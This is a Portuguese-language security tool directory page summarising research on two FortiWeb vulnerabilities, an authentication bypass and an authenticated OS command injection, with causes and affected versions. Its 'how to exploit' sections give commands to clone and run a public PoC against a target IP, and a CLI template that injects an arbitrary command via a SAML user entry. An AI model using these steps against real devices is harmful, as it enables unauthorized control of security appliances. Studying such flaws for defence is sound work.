Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
fortinet-fortiweb-cve-2025-64446-58034 — Pesquisa de segurança sobre vulnerabilidades do Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034) | Kitploit
Ferramentas/GitHubGitHub/lequoca/fortinet-fortiweb-cve-2025-64446-58034
Autenticação e AutorizaçãoAnálise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoComando e Controle
GitHublequoca/fortinet-fortiweb-cve-2025-64446-58034

fortinet-fortiweb-cve-2025-64446-58034

Pesquisa de segurança sobre vulnerabilidades do Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034)

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar
Ver Repositório
3há 8 mesesAinda não revisado

Compreendendo as vulnerabilidades Fortinet FortiWeb (CVE-2025-64446, CVE-2025-58034)

1. Visão geral

Fortinet FortiWeb é um dispositivo Web Application Firewall (WAF) amplamente implantado em sistemas empresariais para proteger aplicações web contra ameaças comuns.

Como o FortiWeb geralmente está localizado na camada de proteção central, vulnerabilidades relacionadas a autenticação ou execução de comandos do sistema operacional podem impactar severamente toda a infraestrutura por trás dele. Em 2025, duas vulnerabilidades críticas foram divulgadas no FortiWeb:

  • CVE-2025-64446 – Bypass de autenticação via Relative Path Traversal

  • CVE-2025-58034 – OS Command Injection em contexto autenticado

  • 2. Visão geral do CVE-2025-64446

2.1 Tipo de vulnerabilidade

  • Relative Path Traversal
  • Authentication Bypass

2.2 Causa da vulnerabilidade

O CVE-2025-64446 decorre do fato de que o FortiWeb processa e verifica o caminho de acesso de forma não rigorosa antes de aplicar o mecanismo de autenticação.

Especificamente:

  • O mecanismo de controle de acesso é baseado em uma string de caminho lógico
  • Não realiza a normalização completa do caminho
  • Permite o uso de caminhos relativos para acessar recursos internos

Esse erro leva a que alguns endpoints administrativos possam ser acessados sem autenticação válida.

2.3 Impacto de segurança

  • Bypass completo do mecanismo de autenticação
  • Acesso não autorizado a funções administrativas
  • Ruptura do modelo de permissões do dispositivo de segurança

2.4 Versões afetadas

  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.4
  • FortiWeb 7.4.0 – 7.4.9
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

3. Visão geral do CVE-2025-58034

3.1 Tipo de vulnerabilidade

  • OS Command Injection (CWE-78)

3.2 Causa da vulnerabilidade

O CVE-2025-58034 surge porque o FortiWeb processa dados de entrada do usuário de forma insegura durante a chamada de comandos do sistema operacional.

As principais causas incluem:

  • Parâmetros de entrada não são verificados rigorosamente
  • Falta de mecanismos de filtragem ou escape de caracteres especiais
  • Dados do usuário são passados diretamente para comandos do sistema

Essa vulnerabilidade requer contexto autenticado, mas ainda assim apresenta alto risco devido ao envolvimento de execução de comandos.

3.3 Impacto de segurança

  • Execução não intencional de comandos do sistema operacional
  • Acesso e manipulação de recursos do sistema
  • Impacto na integridade e disponibilidade do dispositivo

3.4 Versões afetadas

  • FortiWeb 8.0.0 – 8.0.1
  • FortiWeb 7.6.0 – 7.6.5
  • FortiWeb 7.4.0 – 7.4.10
  • FortiWeb 7.2.0 – 7.2.11
  • FortiWeb 7.0.0 – 7.0.11

4. Como explorar (Referência ao PoC disponível - CVE-2025-64446)

4.1 Clonar repositório (Baixar o código-fonte para a máquina)

git clone https://github.com/lincemorado97/CVE-2025-64446_CVE-2025-58034 cd CVE-2025-64446_CVE-2025-58034

4.2 Configurar ambiente virtual (venv)

O ambiente virtual Python (venv) é usado para criar um ambiente de trabalho independente para cada projeto, ajudando a isolar as bibliotecas dependentes do sistema Python principal. Isso evita conflitos de versão de bibliotecas, garante a estabilidade do ambiente de trabalho e minimiza o impacto no sistema.

python3 -m venv venv source venv/bin/activate

4.3 Instalar as dependências:

pip install -r requirements.txt

4.4 Executar todo o processo de exploração

python exploit.py <target_ip> imagem imagem imagem

5. Como explorar CVE-2025-58034 usando comandos CLI (executados a partir da interface de linha de comando do FortiWeb após autenticação)

config user saml-user

edit "<YOUR COMMAND>"

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

A vulnerabilidade CVE-2025-58034 surge porque o FortiWeb não controla rigorosamente os dados de entrada em alguns campos de configuração, especialmente o valor passado pelo comando: edit "" Problema: Este valor é processado como uma string de configuração Em seguida, é inserido em comandos internos do sistema operacional Não é filtrado ou escapado adequadamente para caracteres especiais Isso leva à possibilidade de que os dados de configuração possam afetar diretamente o comando do sistema operacional executado, causando uma injeção de comando do sistema operacional (OS Command Injection).

Baixar ferramenta